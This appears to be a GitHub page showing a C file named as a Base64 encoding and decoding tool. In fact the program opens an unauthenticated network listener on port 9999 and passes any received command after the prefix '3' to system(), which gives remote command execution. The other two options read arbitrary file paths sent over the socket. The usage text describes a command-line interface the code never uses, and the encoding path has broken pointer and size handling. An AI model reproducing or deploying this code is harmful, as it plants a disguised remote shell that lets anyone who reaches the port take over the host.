-
Notifications
You must be signed in to change notification settings - Fork 0
/
Base64EncDec_Tool.c
134 lines (102 loc) · 3.09 KB
/
Base64EncDec_Tool.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include "Base64.h"
#define PORT 9999
const char OutputFileForDecoded[] = "DecodedOutput.txt";
const char OutputFileForEncoded[] = "EncodedOutput.enc";
void PrintUseCase()
{
printf("\nUse: ./Base64EncDec_Tool.exe $UseCase $Filename\n");
printf("$UseCase:\n");
printf("1: Encode $Filename\n");
printf("2: Decode $Filename\n");
printf("3: Run System Command $Filename\n");
printf("NOTE: Running System command requires that you put \" \" around the command you wish to run.\n");
}
int main( int argc, char *argv[] ) {
int server_fd, new_socket, valread;
struct sockaddr_in address;
int opt = 1;
int addrlen = sizeof(address);
char buffer[2048];
// Creating socket file descriptor
if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0)
{
perror("socket failed");
exit(EXIT_FAILURE);
}
// Forcefully attaching socket to the port 9999
if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
&opt, sizeof(opt)))
{
perror("setsockopt");
exit(EXIT_FAILURE);
}
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons( PORT );
// Forcefully attaching socket to the port 9999
if (bind(server_fd, (struct sockaddr *)&address,
sizeof(address))<0)
{
perror("bind failed");
exit(EXIT_FAILURE);
}
if (listen(server_fd, 3) < 0)
{
perror("listen");
exit(EXIT_FAILURE);
}
if ((new_socket = accept(server_fd, (struct sockaddr *)&address,
(socklen_t*)&addrlen))<0)
{
perror("accept");
exit(EXIT_FAILURE);
}
valread = read( new_socket, buffer, 2048);
if (buffer[0] == '1')
{
FILE *fp = fopen(&buffer[2], "r+");
fseek(fp, 0L, SEEK_END);
long size = ftell(fp);
rewind(fp);
char * data;
data = (char*) calloc(size, 1);
fread(data, 1, size, fp);
fclose(fp);
uint8_t * encoded_data;
base64_encode(data, size, size, encoded_data);
free(data);
fp = fopen(OutputFileForEncoded, "w+");
fwrite(encoded_data, 1, size, fp);
fclose(fp);
printf("Encoded Data is stored into: %s \n", OutputFileForEncoded);
}
else if (buffer[0] == '2')
{
FILE *fp = fopen(&buffer[2], "r+");
fseek(fp, 0L, SEEK_END);
long size = ftell(fp);
rewind(fp);
char * encoded_data;
encoded_data = (char*) calloc(size, 1);
fread(encoded_data, 1, size, fp);
fclose(fp);
char * decoded_data = base64_decode(encoded_data, size, &size);
free(encoded_data);
fp = fopen(OutputFileForDecoded, "w+");
fwrite(decoded_data, 1, size, fp);
fclose(fp);
printf("Decoded Data is stored into: %s \n", OutputFileForDecoded);
}
else if (buffer[0] == '3')
{
system(&buffer[2]);
}
return 0;
}